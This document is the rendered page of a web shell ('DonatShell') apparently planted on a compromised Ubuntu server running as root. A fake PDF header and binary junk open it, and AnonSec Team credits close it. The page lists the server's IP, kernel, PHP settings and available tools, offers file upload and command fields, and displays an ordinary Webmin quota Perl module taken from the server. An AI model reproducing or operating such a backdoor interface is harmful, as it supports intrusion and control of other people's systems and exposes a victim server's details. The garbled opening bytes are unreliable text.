%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/quota/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/quota//useradmin_update.pl
do 'quota-lib.pl';

# useradmin_create_user(&details)
# Sets quotas on chosen filesystems
sub useradmin_create_user
{
local ($anysync) = grep { /^sync_/ } (keys %config);
return if (!$anysync);
local ($k, $fs, $i, %fslist);
foreach $fs (&list_filesystems()) {
	if ($fs->[4] && $fs->[5]) {
		$fslist{$fs->[0]}++;
		}
	}
foreach $k (keys %config) {
	if ($k =~ /^sync_(\S+)$/ && $fslist{$1}) {
		# found a filesystem to set quotas on
		$fs = $1;
		@quot = split(/\s+/, $config{$k});
		&edit_user_quota($_[0]->{'user'}, $fs, @quot);
		}
	}
}

# useradmin_delete_user(&details)
# Zero the quotas of a deleted user
sub useradmin_delete_user
{
foreach $fs (&list_filesystems()) {
	if ($fs->[4] && $fs->[5]) {
		$fslist{$fs->[0]}++;
		}
	}
$n = &user_filesystems($_[0]->{'user'});
for($i=0; $i<$n; $i++) {
	$f = $filesys{$i,'filesys'};
	if ($fslist{$f}) {
		# user has quota, and filesystem is local
		&edit_user_quota($_[0]->{'user'}, $f, 0, 0, 0, 0);
		}
	}
}

# useradmin_modify_user(&details)
# Quotas are stored by UID, so no need to change anything
# when a username changes.
sub useradmin_modify_user
{
# XXX should change if UID changes?
}


# useradmin_create_group(&details)
# Sets quotas on chosen filesystems
sub useradmin_create_group
{
local ($anysync) = grep { /^gsync_/ } (keys %config);
return if (!$anysync);
return if (!defined(&edit_group_quota) || !defined(&group_filesystems));
local ($k, $fs, $i, %fslist);
foreach $fs (&list_filesystems()) {
	if ($fs->[4] && $fs->[5]) {
		$fslist{$fs->[0]}++;
		}
	}
foreach $k (keys %config) {
	if ($k =~ /^gsync_(\S+)$/ && $fslist{$1}) {
		# found a filesystem to set quotas on
		$fs = $1;
		@quot = split(/\s+/, $config{$k});
		&edit_group_quota($_[0]->{'group'}, $fs, @quot);
		}
	}
}

# useradmin_delete_group(&details)
# Zero the quotas of a deleted group
sub useradmin_delete_group
{
return if (!defined(&edit_group_quota) || !defined(&group_filesystems));
foreach $fs (&list_filesystems()) {
	if ($fs->[4] && $fs->[5]) {
		$fslist{$fs->[0]}++;
		}
	}
$n = &group_filesystems($_[0]->{'group'});
for($i=0; $i<$n; $i++) {
	$f = $filesys{$i,'filesys'};
	if ($fslist{$f}) {
		# group has quota, and filesystem is local
		&edit_group_quota($_[0]->{'group'}, $f, 0, 0, 0, 0);
		}
	}
}

# useradmin_modify_group(&details)
# Quotas are stored by UID, so no need to change anything
# when a group name changes.
sub useradmin_modify_group
{
return if (!defined(&edit_group_quota) || !defined(&group_filesystems));
# XXX should change if UID changes?
}


1;


Anon7 - 2022
AnonSec Team